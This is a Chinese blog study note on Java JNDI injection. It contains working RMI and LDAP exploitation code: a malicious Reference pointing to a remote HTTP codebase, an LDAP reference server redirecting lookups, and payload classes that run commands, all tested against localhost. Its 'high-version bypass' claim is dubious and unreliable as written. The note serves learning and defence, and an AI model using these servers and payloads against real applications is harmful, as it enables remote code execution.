# 前言

前面为了补充我本身的 Java 知识栈的缺陷已经已经将这一块放了很久了,最近也是勉强补充了一些,这篇准备将 JNDI 注入的部分学习一下,早该结束的,但是期间去参加了一场比赛和一场攻防对抗而耽搁了。本篇中所涉及的代码都在 https://github.com/clown-q/Clown_java 中有记录

# JNDI

还是先简单记录一下什么是 JNDI,全称是 Java Naming and Directory Interface 翻译过来就是 Java 命名和目录接口,简单来说就是可以通过这个接口来访问系统的命令服务和目录服务

这里简单的翻阅一下官方文档找到了这样两个定义

  • 命名:任何计算系统的基本设施是命名服务 —— 名称与对象相关联和基于对象名称查找对象的方法
    (简单来是就是用名字对应一个对象)
  • 目录:许多命名服务都通过目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联
    目录服务 = 命名服务 + 包含属性的对象(简单来说就是通过一个名字对应一个 Java 对象)

image-20230919145507366

有这样一张图,展示了使用 JNDI API 的 Java 应用程序访问其服务

JNDI 包含在 Java SE 平台中。要使用 JNDI,必须具有 JNDI 类和一个或多个服务提供程序。JDK 包括以下命名 / 目录服务的服务提供商:

  • 轻量级目录访问协议 (LDAP)
  • 通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
  • Java 远程方法调用 (RMI) 注册表
  • 域名服务 (DNS)

# JNDI 注入

JNDI 注入存在的主要原因其实是攻击者对于 lookup 方法的参数是可控的,攻击者可以通过这个方法将恶意的代码加载到目标服务端的 JVM 中,从而造成危害,看下面这个示例

public class JNDIExample {
    public static void main(String[] args) throws NamingException {
        // 初始化上下文,获取一个初始的环境变量
        InitialContext context = new InitialContext();
        // 获取指定对象
        context.lookup("JNDIURL");
    }
}

这里如果我们可以控制这个 JNDIURL,我们可以通过在服务器上挂载一个恶意类,然后加载到这个 JNDIExample 中,造成危害

# JNDI 的利用方式

# RMI 利用

# RMI 回顾

关于 RMI 的介绍可以看看我前面写的 RMI 浅记这篇,RMi 实际上就是一种远程对象来执行方法的一种方式,这里先简单回顾一下,首先定义一个能远程调用的接口,这个接口需要继承 Remote

public interface RMIRemote_Interface extends Remote {
    public String test() throws IOException;
}

然后实现这个接口的同时扩展 java.rmi.server.UnicastRemoteObject 类

public class RMIRemote extends UnicastRemoteObject implements RMIRemote_Interface {
    protected RMIRemote() throws RemoteException {
        super();
    }
    @Override
    public String test() throws IOException {
        Runtime.getRuntime().exec("calc");
        return "连接成功";
    }
}

然后写服务端,创建注册中心

public class Registry {
    public static void main(String args[]) {
        try {
            LocateRegistry.createRegistry(1099);
            Thread.sleep(10000);
            System.out.println("Server Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

创建远程对象,绑定

public class RMIServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
//        LocateRegistry.createRegistry (1099);// 创建注册中心
        RMIRemote rmiRemote = new RMIRemote();// 创建远程对象
        Naming.bind("test",rmiRemote);// 绑定远程对象
    }
}

到这里一个 RMI 的服务端就可以使用了,接下来客户端

public class RMiClient {
    public static void main(String[] args) throws IOException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);// 获取注册表
        RMIRemote_Interface test = (RMIRemote_Interface) registry.lookup("test");// 通过 test 在注册表中寻找远程对象
        System.out.println(Arrays.toString(registry.list()));
        System.out.println(test.test());// 调用 test 方法
    }
}

image-20230923113425301

以上就是一个简单的 RMI

# 利用

先看下面这个例子

public class JNDIRMIClinet {
    public static void main(String[] args) throws NamingException, IOException {
        InitialContext context = new InitialContext();// 初始化上下文
        RMIRemote_Interface test = (RMIRemote_Interface) context.lookup("rmi://127.0.0.1:1099/test");
        System.out.println(test.test());
    }
}

这里服务端还是前面的 RMI 服务,注意这里的 lookup 需要完整的 RMI 地址

image-20230923121919119

这个代码实际上就是从 JNDI 的层面来看,先初始化上下文然后通过 lookup 获取指定对象,所以就是如果这个参数可控我们可以通过在服务端挂载一个恶意类来造成危害,这里在 lookup 下一个断点简单调试一下

image-20230923122211209

这里调用到 InitialContext 的 lookup 方法

这里会根据传入的协议不同调用不同的 Context 来处理

image-20230923122813636

然后调用 GenericURLContext 的 lookup 方法

image-20230923122927481

到 RegistryContext 的 lookup 方法

image-20230923123259911

最后这里调用的是 RegistryImpl_Stub 的 lookup 方法,实际上就是 RMI 的 lookup

再看下面这个例子

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
//        Registry registry = LocateRegistry.createRegistry (1099);// 创建正常中心
        Reference reference = new Reference("T", "T", "http://127.0.0.1:8080/");// 引用,三个参数分别是类名,Factory 和 factory 的位置
        //factory 中的代码逻辑会在调用 Reference 的时候调用
        //reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行
        registry.bind("test",new ReferenceWrapper (reference));
    }
}

这里不在使用远程对象,这里绑定一个引用

public class T {
    public T() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

这里编译一下这个文件然后使用 python 在该目录开启一个 http 服务

image-20230923133815541

public class JNDIRMIClinet {
    public static void main(String[] args) throws NamingException, IOException {
        InitialContext context = new InitialContext();
        //InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息
        context.lookup("rmi://127.0.0.1:1099/test");
    }
}

image-20230923133916721

这里可以看到,它就执行了写到 T.java 上面的恶意代码,实际上漏洞点只是想上面两个例子中一样实例化 InitialContext 后调用了 looup

# 调试分析

断点还是下载 lookup 方法

image-20230923141042851

这里跟进

image-20230923141122587

继续跟进

image-20230923141148395

到这里和前面的流程是一样的

image-20230923141300878

这里实际上对应的是 JNDIRMIServer 中传入的

image-20230923141327301

所以这里最后返回的会进行一次 decode,这里继续跟进

image-20230923141917346

这里进行一个判断后获取 Reference 的参数信息

image-20230923142415899

然后回调用 NamingManager.getObjectInstance 方法

image-20230923142617274

然后就到了一个公共的类中,命令执行的部分是与 RMI 无关的

image-20230923142714164

一路 F8 到这个地方,这个方法从引用中获取对象工厂

image-20230923142911165

跟进到这个方法,try 中使用 classloader 进行一个类加载

image-20230923143103970

这里跟进实际上是使用了 AppClassLoadwe 进行加载

image-20230923152956907

这里没有加载到然后到后面 codebase

image-20230923153357635

这里的 codebase 就是 factory 地址,它会用这个 codebase 来进行 loadclass

image-20230923154112278

这里新建一个 URLClassload,然后调用 loadclass

image-20230923160230807

最后实例化,这里就算是结束了

# DNS 利用

这个的利用很简单,实际上在前面用 python 开启服务看日志就会知道,它会访问这个链接

image-20230923160957201

这个和 URLDNS 一样,是为了验证这个漏洞的存在

# LDAP 利用

https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar

将上面这个包下载后放进目录中

image-20230923174341089

然后将依赖添加上,然后用的网上师傅的代码

package JNDI.JNDI_LDAP;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: JNDI.JNDI_LDAP
 * @Author: Clown
 * @CreateTime: 2023-09-23  17:33
 */
public class JNDILDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#T";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端

public class JNDILDAPClinet {
    public static void main(String[] args) throws NamingException, IOException {
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1234/T");
    }
}

image-20230923175415663

# 调试分析

image-20230923175727459

还是在 lookup 方法这里下断点,然后到

image-20230923175930941

这里还是到 initialContext 的 lookup 方法

image-20230923180110099

这里一路跟着 lookup

image-20230923180559456

image-20230923180617956

image-20230923180636953

image-20230923180804960

然后到 Ldap 的 c_lookup 方法

image-20230923180751168

这里一路 F8 到 decodeObject 方法

image-20230923181138213

他对 LDAP 服务器上面的属性进行解析,这里跟进

image-20230923181240747

这里会根据取到的值来决定调用方法,因为我们是引用,所以会调用 decodeReference 这个方法

image-20230923181749823

这里就把 LDAP 属性解出来了

image-20230923181858468

然后这里会调用 getObjectInstance 方法,然后就和 RMI 的一样了

image-20230923182018492

这里跟进

image-20230923182053196

可以看到这里也是 AppClassloader 没加载到

image-20230923182157221

然后通过 codebase 来加载,后面的就不在写了,和前面 RMI 一样

# 高版本绕过

前面的 RMi 利用版本到 jdk8_121 后面的就已经修复了,ldap 在 jdk8_191 之后也不能利用了,这里还是在 lookup 下一个断点,然后调试到上面类加载的地方

image-20230923183407848

这里跟进看一下

image-20230923183507758

这里做了一个判断,如果 trustURLCodebase 的值为 true 就让其实例化

image-20230923183615059

这里直接跳过了,很显然这里他的值为 false,所以这里就直接 return null 了

很简单,将而已代码写到静态代码块即可

public class T {
    static  {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

image-20230923184220669

参考文章:

JNDI 注入原理及利用考究 - 先知社区 (aliyun.com)

https://su18.org/post/rmi-attack/